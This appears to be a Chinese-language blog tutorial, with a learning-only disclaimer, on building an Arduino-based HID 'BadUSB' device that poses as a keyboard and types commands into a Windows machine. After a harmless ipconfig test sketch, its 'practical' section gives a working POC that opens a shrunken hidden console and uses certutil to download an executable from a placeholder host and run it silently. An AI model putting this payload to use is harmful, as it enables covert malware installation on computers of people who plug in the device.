郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

背景知识
HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
PS:和之前制作的树莓派监听类似,只是这次的更加小巧
准备工作
初始化
首先我们安装好Arduino后需要把我们的单片机连接上,然后选择端口

以及我们的开发板

需要选着好这两个参数才能上传编辑,接着我们能看到两个函数
void setup() {
}
void loop() {
}
|
setup这个函数是单片机通电后执行的内容
loop是通电结束后,循环执行的内容
调试
写在前头:Keyboard.press 完一定要Keyboard.release 释放按键, 不然会一直按。(心酸泪)
了解完前置知识后先写段代码进行调试
#include <Keyboard.h> void setup() { Keyboard.begin(); delay(1000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("cmd /k ipconfig"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); }
void loop() { }
|
然后点击项目->上传,即可烧录成功,拔下U盘后再插入U盘,动画效果如下(虚拟机卡卡的

实战
写在前头:实战的时候文件名最好放两个,一个全大写一个全小写
推进几个项目
备份文件放在了这里,使用POC为
#include <Keyboard.h> void setup() { Keyboard.begin(); delay(1000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://0.0.0.0/test.exe d:\\info.exe && timeout /t 1 && start /B d:\\info.exe" ); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();
}
void loop() { }
|